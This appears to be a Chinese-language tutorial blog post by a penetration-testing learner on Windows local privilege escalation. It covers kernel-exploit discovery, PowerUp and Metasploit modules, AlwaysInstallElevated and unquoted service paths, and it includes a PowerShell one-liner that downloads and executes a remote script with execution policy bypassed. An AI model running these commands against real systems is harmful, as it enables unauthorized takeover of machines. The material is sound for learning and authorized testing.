前言
内网菜鸡艰难学习,希望一样的菜鸡能看到并且能看的懂学的快一点吧。
内网提权的常用方法
常用的提权方法:
1.系统内核溢出提权
2.数据库提权
3.错误的系统配置提权
4.组策略首选项提权
5.DLL劫持提权
6.滥用高权限令牌提权
7.第三方软件/服务提权
一、Windows系统内核溢出漏洞提权
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
拿到一个普通shell后可以尝试MSF的getsystem,虽然基本成功不了。
1.手动查找系统潜在漏洞
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo或wmic qfe get caption,description,hotfixid,installedon
然后借助提权辅助站点如https://i.hacking8.com/tiquan/或者http://blog.neargle.com/win-powerup-exp-index/进行查询未安装补丁或搜索可用exp
2.使用Windows-Exploit-Suggester
1 ./windows-exploit-suggester.py --update
2 使用systeminfo获取系统信息,将其保存,如test.txt
3 ./windows-exploit-suggester.py --database 2021-05-28-mssb.xls --systeminfo test.txt
3.使用sherlock 脚本
1 输入Import-Module .\Sherlock.ps1导入脚本
2 输入Find-AllVulns 扫描
4.还可以用msf的enum_patches模块
执行命令
use multi/handler
use post/windows/gather/enum_patches
show options
set SESSION
5.还有msf的local_exploit_suggester模块
执行命令
use post/multi/recon/local_exploit_suggester
set session 1
run
二.系统服务权限配置错误
windows操作系统中的常见配置错误包括:
1.管理员凭证配置错误
2.服务配置错误
3.故意削弱的安全措施
4.用户权限过高
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务。
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务。
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权。
1.使用PowerUP脚本
使用方法:
1.Import-Module .\1.ps1 导入模块
2.Invoke-AllChecks 查询服务
3.根据提示输入语句即可
另外提供了多种使用方式
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”
2.msf(service_permissions)模块
使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。
exploit/windows/local/service_permissions
show options
set session 2
3.注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
反正网上提供这种方式,我只在2000成功过,高一点版本我成功不了
4.可信任服务路径漏洞
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如,有如下的文件路径:
C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program
C:\Program Files (x86)\Razer
C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
(PS:老版本可以通过路径上有无“ ”来判断是否可操作)
此时如果在C盘传入program.exe文件,则会执行这个文件,以此类推。
操作步骤
1.执行wmic service get displayname,startmode,pathname|findstr /i “Auto” | findstr /i /v “C:\Windows\” 探测符合条件的服务
2.确认该目录是否可写
3.重启服务
sc stop service_name
sc start service_name
msf对应trusted_service_path模块(网上说不是提权了是其他的任意执行)我这种菜鸡暂时没感觉到差别,能提权就行。
5.自动配置文件
域的好处之一就是可以统一配置多台服务器,网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。
在这个过程中,会使用安装配置文件。
这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。